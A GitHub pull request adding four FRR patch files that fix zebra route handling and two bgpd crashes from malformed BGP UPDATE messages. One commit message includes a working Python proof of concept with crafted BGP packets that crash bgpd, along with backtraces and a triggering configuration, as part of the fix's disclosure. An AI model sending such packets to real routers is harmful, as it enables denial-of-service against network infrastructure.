Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pending BGP patches to merge #83

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
From 41b759505afb261211f40e386a30f6cf3870a094 Mon Sep 17 00:00:00 2001
From: dgsudharsan <[email protected]>
Date: Tue, 21 Nov 2023 17:55:24 +0000
Subject: [PATCH] zebra: Fix non-notification of better admin won If there
happens to be a entry in the zebra rib that has a lower admin distance then a
newly received re, zebra would not notify the upper level protocol about this
happening. Imagine a case where there is a connected route for say a /32 and
bgp receives a route from a peer that is the same route as the connected.
Since BGP has no network statement and perceives the route as being `good`
bgp will install the route into zebra. Zebra will look at the new bgp re and
correctly identify that the re is not something that it will use and do
nothing. This change notices this and sends up a BETTER_ADMIN_WON route
notification.


diff --git a/zebra/zebra_rib.c b/zebra/zebra_rib.c
index 039c44cc09..f2f20bcf7b 100644
--- a/zebra/zebra_rib.c
+++ b/zebra/zebra_rib.c
@@ -1209,6 +1209,7 @@ static void rib_process(struct route_node *rn)
rib_dest_t *dest;
struct zebra_vrf *zvrf = NULL;
struct vrf *vrf;
+ struct route_entry *proto_re_changed = NULL;

vrf_id_t vrf_id = VRF_UNKNOWN;

@@ -1278,6 +1279,7 @@ static void rib_process(struct route_node *rn)
* skip it.
*/
if (CHECK_FLAG(re->status, ROUTE_ENTRY_CHANGED)) {
+ proto_re_changed = re;
if (!nexthop_active_update(rn, re)) {
const struct prefix *p;
struct rib_table_info *info;
@@ -1363,6 +1365,8 @@ static void rib_process(struct route_node *rn)
* new_selected --- RE entry that is newly SELECTED
* old_fib --- RE entry currently in kernel FIB
* new_fib --- RE entry that is newly to be in kernel FIB
+ * proto_re_changed -- RE that is the last changed entry in the
+ * list of RE's.
*
* new_selected will get SELECTED flag, and is going to be redistributed
* the zclients. new_fib (which can be new_selected) will be installed
@@ -1417,6 +1421,22 @@ static void rib_process(struct route_node *rn)
}
}

+ /*
+ * If zebra has a new_selected and a proto_re_changed
+ * entry that was not the old selected and the protocol
+ * is different, zebra should notify the upper level
+ * protocol that the sent down entry was not selected
+ */
+ if (new_selected && proto_re_changed &&
+ proto_re_changed != old_selected &&
+ new_selected->type != proto_re_changed->type) {
+ struct rib_table_info *info = srcdest_rnode_table_info(rn);
+
+ zsend_route_notify_owner(rn, proto_re_changed,
+ ZAPI_ROUTE_BETTER_ADMIN_WON, info->afi,
+ info->safi);
+ }
+
/* Update fib according to selection results */
if (new_fib && old_fib)
rib_process_update_fib(zvrf, rn, old_fib, new_fib);
--
2.17.1

Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
From b7ac2397103fe7d347d0766bd9966ff2302403c5 Mon Sep 17 00:00:00 2001
From: dgsudharsan <[email protected]>
Date: Tue, 21 Nov 2023 01:17:24 +0000
Subject: [PATCH] zebra: Fix fpm multipath encap addition The fpm code path in
building a ecmp route for evpn has a bug that caused it to not add the encap
attribute to the netlink message. See
#f0f7b285b99dbd971400d33feea007232c0bd4a9 for the single path case being
fixed.


diff --git a/zebra/rt_netlink.c b/zebra/rt_netlink.c
index 71505e037a..6bdc15592c 100644
--- a/zebra/rt_netlink.c
+++ b/zebra/rt_netlink.c
@@ -2330,6 +2330,16 @@ ssize_t netlink_route_multipath_msg_encode(int cmd,
tag))
return 0;

+ /*
+ * Add encapsulation information when installing via
+ * FPM.
+ */
+ if (fpm) {
+ if (!netlink_route_nexthop_encap(
+ &req->n, datalen, nexthop))
+ return 0;
+ }
+
if (!setsrc && src1) {
if (p->family == AF_INET)
src.ipv4 = src1->ipv4;
@@ -2343,23 +2353,6 @@ ssize_t netlink_route_multipath_msg_encode(int cmd,

nl_attr_nest_end(&req->n, nest);

- /*
- * Add encapsulation information when installing via
- * FPM.
- */
- if (fpm) {
- for (ALL_NEXTHOPS_PTR(dplane_ctx_get_ng(ctx),
- nexthop)) {
- if (CHECK_FLAG(nexthop->flags,
- NEXTHOP_FLAG_RECURSIVE))
- continue;
- if (!netlink_route_nexthop_encap(
- &req->n, datalen, nexthop))
- return 0;
- }
- }
-
-
if (setsrc) {
if (p->family == AF_INET) {
if (!nl_attr_put(&req->n, datalen, RTA_PREFSRC,
--
2.17.1

Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
From fcc818160be57a1304481402c08962454e1dee5b Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <[email protected]>
Date: Mon, 23 Oct 2023 23:34:10 +0300
Subject: [PATCH 1/4] bgpd: Check mandatory attributes more carefully for
UPDATE message

If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9)

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index ee20da3326..3a2d93ccd9 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3429,13 +3429,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
}

/* Well-known attribute check. */
-static int bgp_attr_check(struct peer *peer, struct attr *attr)
+static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ bgp_size_t length)
{
uint8_t type = 0;

/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
* empty UPDATE. */
- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
+ !length)
return BGP_ATTR_PARSE_PROCEED;

/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
@@ -3487,7 +3489,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
enum bgp_attr_parse_ret ret;
uint8_t flag = 0;
uint8_t type = 0;
- bgp_size_t length;
+ bgp_size_t length = 0;
uint8_t *startp, *endp;
uint8_t *attr_endp;
uint8_t seen[BGP_ATTR_BITMAP_SIZE];
@@ -3812,7 +3814,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
}

/* Check all mandatory well-known attributes are present */
- ret = bgp_attr_check(peer, attr);
+ ret = bgp_attr_check(peer, attr, length);
if (ret < 0)
goto done;

--
2.17.1

Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
From 971f8684efceb2453accc5dcb5cbd8e4266c906d Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <[email protected]>
Date: Fri, 20 Oct 2023 17:49:18 +0300
Subject: [PATCH 2/4] bgpd: Handle MP_REACH_NLRI malformed packets with session
reset

Avoid crashing bgpd.

```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)

Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```

With the configuration:

```
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
address-family ipv4 unicast
redistribute connected
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35)

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 3a2d93ccd9..a3fee07058 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -2418,7 +2418,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,

mp_update->afi = afi;
mp_update->safi = safi;
- return BGP_ATTR_PARSE_EOR;
+ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
}

mp_update->afi = afi;
@@ -3739,10 +3739,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
goto done;
}

- if (ret == BGP_ATTR_PARSE_EOR) {
- goto done;
- }
-
if (ret == BGP_ATTR_PARSE_ERROR) {
flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
"%s: Attribute %s, parse error", peer->host,
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 33283f4bf6..ba8d4fc735 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -379,7 +379,6 @@ enum bgp_attr_parse_ret {
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
- BGP_ATTR_PARSE_EOR = -4,
};

struct bpacket_attr_vec_arr;
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index a02d548941..5e0312a72d 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -2060,8 +2060,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
* Non-MP IPv4/Unicast EoR is a completely empty UPDATE
* and MP EoR should have only an empty MP_UNREACH
*/
- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
+ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
afi_t afi = 0;
safi_t safi;
struct graceful_restart_info *gr_info;
@@ -2082,9 +2081,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
&& nlris[NLRI_MP_WITHDRAW].length == 0) {
afi = nlris[NLRI_MP_WITHDRAW].afi;
safi = nlris[NLRI_MP_WITHDRAW].safi;
- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
- afi = nlris[NLRI_MP_UPDATE].afi;
- safi = nlris[NLRI_MP_UPDATE].safi;
}

if (afi && peer->afc[afi][safi]) {
--
2.17.1

Loading